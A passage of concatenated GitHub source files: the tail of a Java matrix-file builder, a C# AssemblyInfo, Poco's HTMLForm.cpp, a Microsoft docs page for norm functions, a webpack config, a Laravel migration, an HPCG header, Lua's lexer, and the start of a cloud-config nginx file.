if (isFinished)
throw new IllegalStateException(
"Cannot add columns to a MatrixBuilder that is finished");
// Update the size of the matrix based on the size of the array
if (row.length() > numCols)
numCols = row.length();
// SparseArray instances can take on the maximum possible array size
// when the array length isn't specified. This ruins the matrix size
// specification since the matrix shouldn't actually be that big.
// However, because this is an implementation artifact, we can't check
// for it explicitly with an exception. Therefore, put in an assert to
// indicate what is likely going on if asserts are enabled for debugging
// they symptoms.
assert row.length() != Integer.MAX_VALUE : "adding a column whose " +
"length is Integer.MAX_VALUE (was likley left unspecified in the " +
" constructor).";
StringBuilder sb = new StringBuilder();
for (int i = 0; i < row.length(); ++i)
sb.append(row.get(i).floatValue()).append(" ");
writer.println(sb.toString());
return ++curRow;
}
/**
* {@inheritDoc}
*/
public synchronized int addColumn(Vector row) {
if (isFinished)
throw new IllegalStateException(
"Cannot add columns to a MatrixBuilder that is finished");
// Update the size of the matrix based on the size of the array
if (row.length() > numCols)
numCols = row.length();
// Vector instances can take on the maximum possible array size when the
// vector length isn't specified. This ruins the matrix size
// specification since the matrix shouldn't actually be that big.
// However, because this is an implementation artifact, we can't check
// for it explicitly with an exception. Therefore, put in an assert to
// indicate what is likely going on if asserts are enabled for debugging
// these symptoms.
assert row.length() != Integer.MAX_VALUE : "adding a column whose " +
"length is Integer.MAX_VALUE (was likley left unspecified in the " +
" constructor).";
StringBuilder sb = new StringBuilder();
for (int i = 0; i < row.length(); ++i)
sb.append(row.getValue(i).doubleValue()).append(" ");
writer.println(sb.toString());
return ++curRow;
}
/**
* {@inheritDoc} Once this method has been called, any subsequent calls will
* have no effect and will not throw an exception.
*/
public synchronized void finish() {
if (!isFinished) {
isFinished = true;
try {
writer.flush();
writer.close();
// Re-open as a random access file so we can overwrite the 3 int
// header that specifies the number of dimensions and values.
// Note that the location of the matrix data is dependent on
// whether the matrix is to be transposed.
RandomAccessFile matrixRaf =
new RandomAccessFile(matrixFile, "rw");
// Write the header in the first 100 characters. The header is
// the number rows and the number of columns a single line each
// separated by a space between.
StringBuilder sb = new StringBuilder();
sb.append(curRow).append(" ");
sb.append(numCols).append(" ");
matrixRaf.write(sb.toString().getBytes());
} catch (IOException ioe) {
throw new IOError(ioe);
}
}
}
/**
* {@inheritDoc}
*/
public synchronized File getFile() {
if (!isFinished)
throw new IllegalStateException(
"Cannot access matrix file until finished has been called");
return matrixFile;
}
/**
* {@inheritDoc}
*/
public Format getMatrixFormat() {
return MatrixIO.Format.CLUTO_DENSE;
}
/**
* {@inheritDoc}
*/
public MatrixFile getMatrixFile() {
return new MatrixFile(getFile(), getMatrixFormat());
}
/**
* {@inheritDoc}
*/
public synchronized boolean isFinished() {
return isFinished;
}
}
|
{
"pile_set_name": "Github"
}
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("WindowsPhoneRecipes")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyProduct("WindowsPhoneRecipes")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2010")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("f0a81b2a-35ef-41c6-b7e0-85aa70bb5bc0")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Revision and Build Numbers
// by using the '*' as shown below:
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
|
{
"pile_set_name": "Github"
}
|
//
// HTMLForm.cpp
//
// $Id: //poco/1.4/Net/src/HTMLForm.cpp#4 $
//
// Library: Net
// Package: HTML
// Module: HTMLForm
//
// Copyright (c) 2005-2006, Applied Informatics Software Engineering GmbH.
// and Contributors.
//
// Permission is hereby granted, free of charge, to any person or organization
// obtaining a copy of the software and accompanying documentation covered by
// this license (the "Software") to use, reproduce, display, distribute,
// execute, and transmit the Software, and to prepare derivative works of the
// Software, and to permit third-parties to whom the Software is furnished to
// do so, all subject to the following:
//
// The copyright notices in the Software and this entire statement, including
// the above license grant, this restriction and the following disclaimer,
// must be included in all copies of the Software, in whole or in part, and
// all derivative works of the Software, unless such copies or derivative
// works are solely in the form of machine-executable object code generated by
// a source language processor.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
// SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
// FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
// ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
//
#include "Poco/Net/HTMLForm.h"
#include "Poco/Net/HTTPRequest.h"
#include "Poco/Net/PartSource.h"
#include "Poco/Net/PartHandler.h"
#include "Poco/Net/MultipartWriter.h"
#include "Poco/Net/MultipartReader.h"
#include "Poco/Net/NullPartHandler.h"
#include "Poco/Net/NetException.h"
#include "Poco/NullStream.h"
#include "Poco/CountingStream.h"
#include "Poco/StreamCopier.h"
#include "Poco/URI.h"
#include "Poco/String.h"
#include <sstream>
using Poco::NullInputStream;
using Poco::StreamCopier;
using Poco::SyntaxException;
using Poco::URI;
using Poco::icompare;
namespace Poco {
namespace Net {
const std::string HTMLForm::ENCODING_URL = "application/x-www-form-urlencoded";
const std::string HTMLForm::ENCODING_MULTIPART = "multipart/form-data";
HTMLForm::HTMLForm():
_fieldLimit(DFL_FIELD_LIMIT),
_encoding(ENCODING_URL)
{
}
HTMLForm::HTMLForm(const std::string& encoding):
_fieldLimit(DFL_FIELD_LIMIT),
_encoding(encoding)
{
}
HTMLForm::HTMLForm(const HTTPRequest& request, std::istream& requestBody, PartHandler& handler):
_fieldLimit(DFL_FIELD_LIMIT)
{
load(request, requestBody, handler);
}
HTMLForm::HTMLForm(const HTTPRequest& request, std::istream& requestBody):
_fieldLimit(DFL_FIELD_LIMIT)
{
load(request, requestBody);
}
HTMLForm::HTMLForm(const HTTPRequest& request):
_fieldLimit(DFL_FIELD_LIMIT)
{
load(request);
}
HTMLForm::~HTMLForm()
{
for (PartVec::iterator it = _parts.begin(); it != _parts.end(); ++it)
{
delete it->pSource;
}
}
void HTMLForm::setEncoding(const std::string& encoding)
{
_encoding = encoding;
}
void HTMLForm::addPart(const std::string& name, PartSource* pSource)
{
poco_check_ptr (pSource);
Part part;
part.name = name;
part.pSource = pSource;
_parts.push_back(part);
}
void HTMLForm::load(const HTTPRequest& request, std::istream& requestBody, PartHandler& handler)
{
clear();
if (request.getMethod() == HTTPRequest::HTTP_POST || request.getMethod() == HTTPRequest::HTTP_PUT)
{
std::string mediaType;
NameValueCollection params;
MessageHeader::splitParameters(request.getContentType(), mediaType, params);
_encoding = mediaType;
if (_encoding == ENCODING_MULTIPART)
{
_boundary = params["boundary"];
readMultipart(requestBody, handler);
}
else
{
readUrl(requestBody);
}
}
else
{
URI uri(request.getURI());
std::istringstream istr(uri.getRawQuery());
readUrl(istr);
}
}
void HTMLForm::load(const HTTPRequest& request, std::istream& requestBody)
{
NullPartHandler nah;
load(request, requestBody, nah);
}
void HTMLForm::load(const HTTPRequest& request)
{
NullPartHandler nah;
NullInputStream nis;
load(request, nis, nah);
}
void HTMLForm::read(std::istream& istr, PartHandler& handler)
{
if (_encoding == ENCODING_URL)
readUrl(istr);
else
readMultipart(istr, handler);
}
void HTMLForm::read(std::istream& istr)
{
readUrl(istr);
}
void HTMLForm::read(const std::string& queryString)
{
std::istringstream istr(queryString);
readUrl(istr);
}
void HTMLForm::prepareSubmit(HTTPRequest& request)
{
if (request.getMethod() == HTTPRequest::HTTP_POST || request.getMethod() == HTTPRequest::HTTP_PUT)
{
if (_encoding == ENCODING_URL)
{
request.setContentType(_encoding);
request.setChunkedTransferEncoding(false);
Poco::CountingOutputStream ostr;
writeUrl(ostr);
request.setContentLength(ostr.chars());
}
else
{
_boundary = MultipartWriter::createBoundary();
std::string ct(_encoding);
ct.append("; boundary=\"");
ct.append(_boundary);
ct.append("\"");
request.setContentType(ct);
}
if (request.getVersion() == HTTPMessage::HTTP_1_0)
{
request.setKeepAlive(false);
request.setChunkedTransferEncoding(false);
}
else if (_encoding != ENCODING_URL)
{
request.setChunkedTransferEncoding(true);
}
}
else
{
std::string uri = request.getURI();
std::ostringstream ostr;
writeUrl(ostr);
uri.append("?");
uri.append(ostr.str());
request.setURI(uri);
}
}
void HTMLForm::write(std::ostream& ostr, const std::string& boundary)
{
if (_encoding == ENCODING_URL)
{
writeUrl(ostr);
}
else
{
_boundary = boundary;
writeMultipart(ostr);
}
}
void HTMLForm::write(std::ostream& ostr)
{
if (_encoding == ENCODING_URL)
writeUrl(ostr);
else
writeMultipart(ostr);
}
void HTMLForm::readUrl(std::istream& istr)
{
static const int eof = std::char_traits<char>::eof();
int fields = 0;
int ch = istr.get();
while (ch != eof)
{
if (_fieldLimit > 0 && fields == _fieldLimit)
throw HTMLFormException("Too many form fields");
std::string name;
std::string value;
while (ch != eof && ch != '=' && ch != '&')
{
if (ch == '+') ch = ' ';
name += (char) ch;
ch = istr.get();
}
if (ch == '=')
{
ch = istr.get();
while (ch != eof && ch != '&')
{
if (ch == '+') ch = ' ';
value += (char) ch;
ch = istr.get();
}
}
std::string decodedName;
std::string decodedValue;
URI::decode(name, decodedName);
URI::decode(value, decodedValue);
add(decodedName, decodedValue);
++fields;
if (ch == '&') ch = istr.get();
}
}
void HTMLForm::readMultipart(std::istream& istr, PartHandler& handler)
{
static const int eof = std::char_traits<char>::eof();
int fields = 0;
MultipartReader reader(istr, _boundary);
while (reader.hasNextPart())
{
if (_fieldLimit > 0 && fields == _fieldLimit)
throw HTMLFormException("Too many form fields");
MessageHeader header;
reader.nextPart(header);
std::string disp;
NameValueCollection params;
if (header.has("Content-Disposition"))
{
std::string cd = header.get("Content-Disposition");
MessageHeader::splitParameters(cd, disp, params);
}
if (params.has("filename"))
{
handler.handlePart(header, reader.stream());
// Ensure that the complete part has been read.
while (reader.stream().good()) reader.stream().get();
}
else
{
std::string name = params["name"];
std::string value;
std::istream& istr = reader.stream();
int ch = istr.get();
while (ch != eof)
{
value += (char) ch;
ch = istr.get();
}
add(name, value);
}
++fields;
}
}
void HTMLForm::writeUrl(std::ostream& ostr)
{
for (NameValueCollection::ConstIterator it = begin(); it != end(); ++it)
{
if (it != begin()) ostr << "&";
std::string name;
URI::encode(it->first, "=&+;", name);
std::string value;
URI::encode(it->second, "=&+;", value);
ostr << name << "=" << value;
}
}
void HTMLForm::writeMultipart(std::ostream& ostr)
{
MultipartWriter writer(ostr, _boundary);
for (NameValueCollection::ConstIterator it = begin(); it != end(); ++it)
{
MessageHeader header;
std::string disp("form-data; name=\"");
disp.append(it->first);
disp.append("\"");
header.set("Content-Disposition", disp);
writer.nextPart(header);
ostr << it->second;
}
for (PartVec::iterator ita = _parts.begin(); ita != _parts.end(); ++ita)
{
MessageHeader header(ita->pSource->headers());
std::string disp("form-data; name=\"");
disp.append(ita->name);
disp.append("\"");
std::string filename = ita->pSource->filename();
if (!filename.empty())
{
disp.append("; filename=\"");
disp.append(filename);
disp.append("\"");
}
header.set("Content-Disposition", disp);
header.set("Content-Type", ita->pSource->mediaType());
writer.nextPart(header);
StreamCopier::copyStream(ita->pSource->stream(), ostr);
}
writer.close();
_boundary = writer.boundary();
}
void HTMLForm::setFieldLimit(int limit)
{
poco_assert (limit >= 0);
_fieldLimit = limit;
}
} } // namespace Poco::Net
|
{
"pile_set_name": "Github"
}
|
---
title: "norm, normf, norml"
ms.date: "04/05/2018"
api_name: ["norm", "normf", "norml"]
api_location: ["msvcrt.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr100_clr0400.dll", "msvcr110.dll", "msvcr110_clr0400.dll", "msvcr120.dll", "msvcr120_clr0400.dll", "ucrtbase.dll", "api-ms-win-crt-math-l1-1-0.dll"]
api_type: ["DLLExport"]
topic_type: ["apiref"]
f1_keywords: ["norm", "normf", "norml", "complex/norm", "complex/normf", "complex/norml"]
helpviewer_keywords: ["norm function", "normf function", "norml function"]
ms.assetid: 9786ecfe-0019-4553-b378-0af6c691e15c
---
# norm, normf, norml
Retrieves the squared magnitude of a complex number.
## Syntax
```C
double norm( _Dcomplex z );
float normf( _Fcomplex z );
long double norml( _Lcomplex z );
```
```cpp
float norm( _Fcomplex z ); // C++ only
long double norm( _Lcomplex z ); // C++ only
```
### Parameters
*z*<br/>
A complex number.
## Return Value
The squared magnitude of *z*.
## Remarks
Because C++ allows overloading, you can call overloads of **norm** that take **_Fcomplex** or **_Lcomplex** values, and return **`float`** or **`long double`** values. In a C program, **norm** always takes a **_Dcomplex** value and returns a **`double`** value.
## Requirements
|Routine|C header|C++ header|
|-------------|--------------|------------------|
|**norm**, **normf**, **norml**|\<complex.h>|\<complex.h>|
The **_Fcomplex**, **_Dcomplex**, and **_Lcomplex** types are Microsoft-specific equivalents of the unimplemented native C99 types **float _Complex**, **double _Complex**, and **long double _Complex**, respectively. For more compatibility information, see [Compatibility](../../c-runtime-library/compatibility.md).
## See also
[Alphabetical Function Reference](crt-alphabetical-function-reference.md)<br/>
[creal, crealf, creall](creal-crealf-creall.md)<br/>
[cproj, cprojf, cprojl](cproj-cprojf-cprojl.md)<br/>
[conj, conjf, conjl](conj-conjf-conjl.md)<br/>
[cimag, cimagf, cimagl](cimag-cimagf-cimagl.md)<br/>
[carg, cargf, cargl](carg-cargf-cargl.md)<br/>
[cabs, cabsf, cabsl](cabs-cabsf-cabsl.md)<br/>
|
{
"pile_set_name": "Github"
}
|
const path = require('path');
const webpack = require('webpack');
const Components = require('./components.json');
module.exports = {
entry: Components,
output: {
path: path.join(__dirname, './dist/lib'),
filename: '[name].js',
libraryTarget: 'commonjs2'
},
module: {
rules: [
{
test: /\.vue$/,
loader: 'vue-loader'
},
{
test: /\.js$/,
exclude: /node_modules/,
loader: 'babel-loader'
}
]
},
resolve: {
extensions: ['.vue', '.js'],
modules: [path.join(__dirname, './node_modules')],
alias: {
'@src': path.resolve(__dirname, './src')
}
},
plugins: [
new webpack.optimize.ModuleConcatenationPlugin()
]
};
|
{
"pile_set_name": "Github"
}
|
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class ChangeDominionResourceBoatsToFloat extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::table('dominions', function (Blueprint $table) {
$table->decimal('resource_boats')->change();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::table('dominions', function (Blueprint $table) {
$table->unsignedInteger('resource_boats')->change();
});
}
}
|
{
"pile_set_name": "Github"
}
|
//@HEADER
// ***************************************************
//
// HPCG: High Performance Conjugate Gradient Benchmark
//
// Contact:
// Michael A. Heroux ( maherou@sandia.gov)
// Jack Dongarra (dongarra@eecs.utk.edu)
// Piotr Luszczek (luszczek@eecs.utk.edu)
//
// ***************************************************
//@HEADER
#ifndef GENERATEPROBLEM_REF_HPP
#define GENERATEPROBLEM_REF_HPP
#include "SparseMatrix.hpp"
#include "Vector.hpp"
void GenerateProblem_ref(SparseMatrix & A, Vector * b, Vector * x, Vector * xexact);
#endif // GENERATEPROBLEM_REF_HPP
|
{
"pile_set_name": "Github"
}
|
/*
** $Id: llex.c,v 2.96.1.1 2017/04/19 17:20:42 roberto Exp $
** Lexical Analyzer
** See Copyright Notice in lua.h
*/
#define llex_c
#define LUA_CORE
#include "lprefix.h"
#include <locale.h>
#include <string.h>
#include "lua.h"
#include "lctype.h"
#include "ldebug.h"
#include "ldo.h"
#include "lgc.h"
#include "llex.h"
#include "lobject.h"
#include "lparser.h"
#include "lstate.h"
#include "lstring.h"
#include "ltable.h"
#include "lzio.h"
#define next(ls) (ls->current = zgetc(ls->z))
#define currIsNewline(ls) (ls->current == '\n' || ls->current == '\r')
/* ORDER RESERVED */
static const char *const luaX_tokens [] = {
"and", "break", "do", "else", "elseif",
"end", "false", "for", "function", "goto", "if",
"in", "local", "nil", "not", "or", "repeat",
"return", "then", "true", "until", "while",
"//", "..", "...", "==", ">=", "<=", "~=",
"<<", ">>", "::", "<eof>",
"<number>", "<integer>", "<name>", "<string>"
};
#define save_and_next(ls) (save(ls, ls->current), next(ls))
static l_noret lexerror (LexState *ls, const char *msg, int token);
static void save (LexState *ls, int c) {
Mbuffer *b = ls->buff;
if (luaZ_bufflen(b) + 1 > luaZ_sizebuffer(b)) {
size_t newsize;
if (luaZ_sizebuffer(b) >= MAX_SIZE/2)
lexerror(ls, "lexical element too long", 0);
newsize = luaZ_sizebuffer(b) * 2;
luaZ_resizebuffer(ls->L, b, newsize);
}
b->buffer[luaZ_bufflen(b)++] = cast(char, c);
}
void luaX_init (lua_State *L) {
int i;
TString *e = luaS_newliteral(L, LUA_ENV); /* create env name */
luaC_fix(L, obj2gco(e)); /* never collect this name */
for (i=0; i<NUM_RESERVED; i++) {
TString *ts = luaS_new(L, luaX_tokens[i]);
luaC_fix(L, obj2gco(ts)); /* reserved words are never collected */
ts->extra = cast_byte(i+1); /* reserved word */
}
}
const char *luaX_token2str (LexState *ls, int token) {
if (token < FIRST_RESERVED) { /* single-byte symbols? */
lua_assert(token == cast_uchar(token));
return luaO_pushfstring(ls->L, "'%c'", token);
}
else {
const char *s = luaX_tokens[token - FIRST_RESERVED];
if (token < TK_EOS) /* fixed format (symbols and reserved words)? */
return luaO_pushfstring(ls->L, "'%s'", s);
else /* names, strings, and numerals */
return s;
}
}
static const char *txtToken (LexState *ls, int token) {
switch (token) {
case TK_NAME: case TK_STRING:
case TK_FLT: case TK_INT:
save(ls, '\0');
return luaO_pushfstring(ls->L, "'%s'", luaZ_buffer(ls->buff));
default:
return luaX_token2str(ls, token);
}
}
static l_noret lexerror (LexState *ls, const char *msg, int token) {
msg = luaG_addinfo(ls->L, msg, ls->source, ls->linenumber);
if (token)
luaO_pushfstring(ls->L, "%s near %s", msg, txtToken(ls, token));
luaD_throw(ls->L, LUA_ERRSYNTAX);
}
l_noret luaX_syntaxerror (LexState *ls, const char *msg) {
lexerror(ls, msg, ls->t.token);
}
/*
** creates a new string and anchors it in scanner's table so that
** it will not be collected until the end of the compilation
** (by that time it should be anchored somewhere)
*/
TString *luaX_newstring (LexState *ls, const char *str, size_t l) {
lua_State *L = ls->L;
TValue *o; /* entry for 'str' */
TString *ts = luaS_newlstr(L, str, l); /* create new string */
setsvalue2s(L, L->top++, ts); /* temporarily anchor it in stack */
o = luaH_set(L, ls->h, L->top - 1);
if (ttisnil(o)) { /* not in use yet? */
/* boolean value does not need GC barrier;
table has no metatable, so it does not need to invalidate cache */
setbvalue(o, 1); /* t[string] = true */
luaC_checkGC(L);
}
else { /* string already present */
ts = tsvalue(keyfromval(o)); /* re-use value previously stored */
}
L->top--; /* remove string from stack */
return ts;
}
/*
** increment line number and skips newline sequence (any of
** \n, \r, \n\r, or \r\n)
*/
static void inclinenumber (LexState *ls) {
int old = ls->current;
lua_assert(currIsNewline(ls));
next(ls); /* skip '\n' or '\r' */
if (currIsNewline(ls) && ls->current != old)
next(ls); /* skip '\n\r' or '\r\n' */
if (++ls->linenumber >= MAX_INT)
lexerror(ls, "chunk has too many lines", 0);
}
void luaX_setinput (lua_State *L, LexState *ls, ZIO *z, TString *source,
int firstchar) {
ls->t.token = 0;
ls->L = L;
ls->current = firstchar;
ls->lookahead.token = TK_EOS; /* no look-ahead token */
ls->z = z;
ls->fs = NULL;
ls->linenumber = 1;
ls->lastline = 1;
ls->source = source;
ls->envn = luaS_newliteral(L, LUA_ENV); /* get env name */
luaZ_resizebuffer(ls->L, ls->buff, LUA_MINBUFFER); /* initialize buffer */
}
/*
** =======================================================
** LEXICAL ANALYZER
** =======================================================
*/
static int check_next1 (LexState *ls, int c) {
if (ls->current == c) {
next(ls);
return 1;
}
else return 0;
}
/*
** Check whether current char is in set 'set' (with two chars) and
** saves it
*/
static int check_next2 (LexState *ls, const char *set) {
lua_assert(set[2] == '\0');
if (ls->current == set[0] || ls->current == set[1]) {
save_and_next(ls);
return 1;
}
else return 0;
}
/* LUA_NUMBER */
/*
** this function is quite liberal in what it accepts, as 'luaO_str2num'
** will reject ill-formed numerals.
*/
static int read_numeral (LexState *ls, SemInfo *seminfo) {
TValue obj;
const char *expo = "Ee";
int first = ls->current;
lua_assert(lisdigit(ls->current));
save_and_next(ls);
if (first == '0' && check_next2(ls, "xX")) /* hexadecimal? */
expo = "Pp";
for (;;) {
if (check_next2(ls, expo)) /* exponent part? */
check_next2(ls, "-+"); /* optional exponent sign */
if (lisxdigit(ls->current))
save_and_next(ls);
else if (ls->current == '.')
save_and_next(ls);
else break;
}
save(ls, '\0');
if (luaO_str2num(luaZ_buffer(ls->buff), &obj) == 0) /* format error? */
lexerror(ls, "malformed number", TK_FLT);
if (ttisinteger(&obj)) {
seminfo->i = ivalue(&obj);
return TK_INT;
}
else {
lua_assert(ttisfloat(&obj));
seminfo->r = fltvalue(&obj);
return TK_FLT;
}
}
/*
** reads a sequence '[=*[' or ']=*]', leaving the last bracket.
** If sequence is well formed, return its number of '='s + 2; otherwise,
** return 1 if there is no '='s or 0 otherwise (an unfinished '[==...').
*/
static size_t skip_sep (LexState *ls) {
size_t count = 0;
int s = ls->current;
lua_assert(s == '[' || s == ']');
save_and_next(ls);
while (ls->current == '=') {
save_and_next(ls);
count++;
}
return (ls->current == s) ? count + 2
: (count == 0) ? 1
: 0;
}
static void read_long_string (LexState *ls, SemInfo *seminfo, size_t sep) {
int line = ls->linenumber; /* initial line (for error message) */
save_and_next(ls); /* skip 2nd '[' */
if (currIsNewline(ls)) /* string starts with a newline? */
inclinenumber(ls); /* skip it */
for (;;) {
switch (ls->current) {
case EOZ: { /* error */
const char *what = (seminfo ? "string" : "comment");
const char *msg = luaO_pushfstring(ls->L,
"unfinished long %s (starting at line %d)", what, line);
lexerror(ls, msg, TK_EOS);
break; /* to avoid warnings */
}
case ']': {
if (skip_sep(ls) == sep) {
save_and_next(ls); /* skip 2nd ']' */
goto endloop;
}
break;
}
case '\n': case '\r': {
save(ls, '\n');
inclinenumber(ls);
if (!seminfo) luaZ_resetbuffer(ls->buff); /* avoid wasting space */
break;
}
default: {
if (seminfo) save_and_next(ls);
else next(ls);
}
}
} endloop:
if (seminfo)
seminfo->ts = luaX_newstring(ls, luaZ_buffer(ls->buff) + sep,
luaZ_bufflen(ls->buff) - 2 * sep);
}
static void esccheck (LexState *ls, int c, const char *msg) {
if (!c) {
if (ls->current != EOZ)
save_and_next(ls); /* add current to buffer for error message */
lexerror(ls, msg, TK_STRING);
}
}
static int gethexa (LexState *ls) {
save_and_next(ls);
esccheck (ls, lisxdigit(ls->current), "hexadecimal digit expected");
return luaO_hexavalue(ls->current);
}
static int readhexaesc (LexState *ls) {
int r = gethexa(ls);
r = (r << 4) + gethexa(ls);
luaZ_buffremove(ls->buff, 2); /* remove saved chars from buffer */
return r;
}
static unsigned long readutf8esc (LexState *ls) {
unsigned long r;
int i = 4; /* chars to be removed: '\', 'u', '{', and first digit */
save_and_next(ls); /* skip 'u' */
esccheck(ls, ls->current == '{', "missing '{'");
r = gethexa(ls); /* must have at least one digit */
while ((save_and_next(ls), lisxdigit(ls->current))) {
i++;
r = (r << 4) + luaO_hexavalue(ls->current);
esccheck(ls, r <= 0x10FFFF, "UTF-8 value too large");
}
esccheck(ls, ls->current == '}', "missing '}'");
next(ls); /* skip '}' */
luaZ_buffremove(ls->buff, i); /* remove saved chars from buffer */
return r;
}
static void utf8esc (LexState *ls) {
char buff[UTF8BUFFSZ];
int n = luaO_utf8esc(buff, readutf8esc(ls));
for (; n > 0; n--) /* add 'buff' to string */
save(ls, buff[UTF8BUFFSZ - n]);
}
static int readdecesc (LexState *ls) {
int i;
int r = 0; /* result accumulator */
for (i = 0; i < 3 && lisdigit(ls->current); i++) { /* read up to 3 digits */
r = 10*r + ls->current - '0';
save_and_next(ls);
}
esccheck(ls, r <= UCHAR_MAX, "decimal escape too large");
luaZ_buffremove(ls->buff, i); /* remove read digits from buffer */
return r;
}
static void read_string (LexState *ls, int del, SemInfo *seminfo) {
save_and_next(ls); /* keep delimiter (for error messages) */
while (ls->current != del) {
switch (ls->current) {
case EOZ:
lexerror(ls, "unfinished string", TK_EOS);
break; /* to avoid warnings */
case '\n':
case '\r':
lexerror(ls, "unfinished string", TK_STRING);
break; /* to avoid warnings */
case '\\': { /* escape sequences */
int c; /* final character to be saved */
save_and_next(ls); /* keep '\\' for error messages */
switch (ls->current) {
case 'a': c = '\a'; goto read_save;
case 'b': c = '\b'; goto read_save;
case 'f': c = '\f'; goto read_save;
case 'n': c = '\n'; goto read_save;
case 'r': c = '\r'; goto read_save;
case 't': c = '\t'; goto read_save;
case 'v': c = '\v'; goto read_save;
case 'x': c = readhexaesc(ls); goto read_save;
case 'u': utf8esc(ls); goto no_save;
case '\n': case '\r':
inclinenumber(ls); c = '\n'; goto only_save;
case '\\': case '\"': case '\'':
c = ls->current; goto read_save;
case EOZ: goto no_save; /* will raise an error next loop */
case 'z': { /* zap following span of spaces */
luaZ_buffremove(ls->buff, 1); /* remove '\\' */
next(ls); /* skip the 'z' */
while (lisspace(ls->current)) {
if (currIsNewline(ls)) inclinenumber(ls);
else next(ls);
}
goto no_save;
}
default: {
esccheck(ls, lisdigit(ls->current), "invalid escape sequence");
c = readdecesc(ls); /* digital escape '\ddd' */
goto only_save;
}
}
read_save:
next(ls);
/* go through */
only_save:
luaZ_buffremove(ls->buff, 1); /* remove '\\' */
save(ls, c);
/* go through */
no_save: break;
}
default:
save_and_next(ls);
}
}
save_and_next(ls); /* skip delimiter */
seminfo->ts = luaX_newstring(ls, luaZ_buffer(ls->buff) + 1,
luaZ_bufflen(ls->buff) - 2);
}
static int llex (LexState *ls, SemInfo *seminfo) {
luaZ_resetbuffer(ls->buff);
for (;;) {
switch (ls->current) {
case '\n': case '\r': { /* line breaks */
inclinenumber(ls);
break;
}
case ' ': case '\f': case '\t': case '\v': { /* spaces */
next(ls);
break;
}
case '-': { /* '-' or '--' (comment) */
next(ls);
if (ls->current != '-') return '-';
/* else is a comment */
next(ls);
if (ls->current == '[') { /* long comment? */
size_t sep = skip_sep(ls);
luaZ_resetbuffer(ls->buff); /* 'skip_sep' may dirty the buffer */
if (sep >= 2) {
read_long_string(ls, NULL, sep); /* skip long comment */
luaZ_resetbuffer(ls->buff); /* previous call may dirty the buff. */
break;
}
}
/* else short comment */
while (!currIsNewline(ls) && ls->current != EOZ)
next(ls); /* skip until end of line (or end of file) */
break;
}
case '[': { /* long string or simply '[' */
size_t sep = skip_sep(ls);
if (sep >= 2) {
read_long_string(ls, seminfo, sep);
return TK_STRING;
}
else if (sep == 0) /* '[=...' missing second bracket */
lexerror(ls, "invalid long string delimiter", TK_STRING);
return '[';
}
case '=': {
next(ls);
if (check_next1(ls, '=')) return TK_EQ;
else return '=';
}
case '<': {
next(ls);
if (check_next1(ls, '=')) return TK_LE;
else if (check_next1(ls, '<')) return TK_SHL;
else return '<';
}
case '>': {
next(ls);
if (check_next1(ls, '=')) return TK_GE;
else if (check_next1(ls, '>')) return TK_SHR;
else return '>';
}
case '/': {
next(ls);
if (check_next1(ls, '/')) return TK_IDIV;
else return '/';
}
case '~': {
next(ls);
if (check_next1(ls, '=')) return TK_NE;
else return '~';
}
case ':': {
next(ls);
if (check_next1(ls, ':')) return TK_DBCOLON;
else return ':';
}
case '"': case '\'': { /* short literal strings */
read_string(ls, ls->current, seminfo);
return TK_STRING;
}
case '.': { /* '.', '..', '...', or number */
save_and_next(ls);
if (check_next1(ls, '.')) {
if (check_next1(ls, '.'))
return TK_DOTS; /* '...' */
else return TK_CONCAT; /* '..' */
}
else if (!lisdigit(ls->current)) return '.';
else return read_numeral(ls, seminfo);
}
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9': {
return read_numeral(ls, seminfo);
}
case EOZ: {
return TK_EOS;
}
default: {
if (lislalpha(ls->current)) { /* identifier or reserved word? */
TString *ts;
do {
save_and_next(ls);
} while (lislalnum(ls->current));
ts = luaX_newstring(ls, luaZ_buffer(ls->buff),
luaZ_bufflen(ls->buff));
seminfo->ts = ts;
if (isreserved(ts)) /* reserved word? */
return ts->extra - 1 + FIRST_RESERVED;
else {
return TK_NAME;
}
}
else { /* single-char tokens (+ - / ...) */
int c = ls->current;
next(ls);
return c;
}
}
}
}
}
void luaX_next (LexState *ls) {
ls->lastline = ls->linenumber;
if (ls->lookahead.token != TK_EOS) { /* is there a look-ahead token? */
ls->t = ls->lookahead; /* use this one */
ls->lookahead.token = TK_EOS; /* and discharge it */
}
else
ls->t.token = llex(ls, &ls->t.seminfo); /* read next token */
}
int luaX_lookahead (LexState *ls) {
lua_assert(ls->lookahead.token == TK_EOS);
ls->lookahead.token = llex(ls, &ls->lookahead.seminfo);
return ls->lookahead.token;
}
|
{
"pile_set_name": "Github"
}
|
#cloud-config
write_files:
- path: /etc/nginx/nginx.conf
content: |
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;
events {
worker_connections 1024;
}
http {
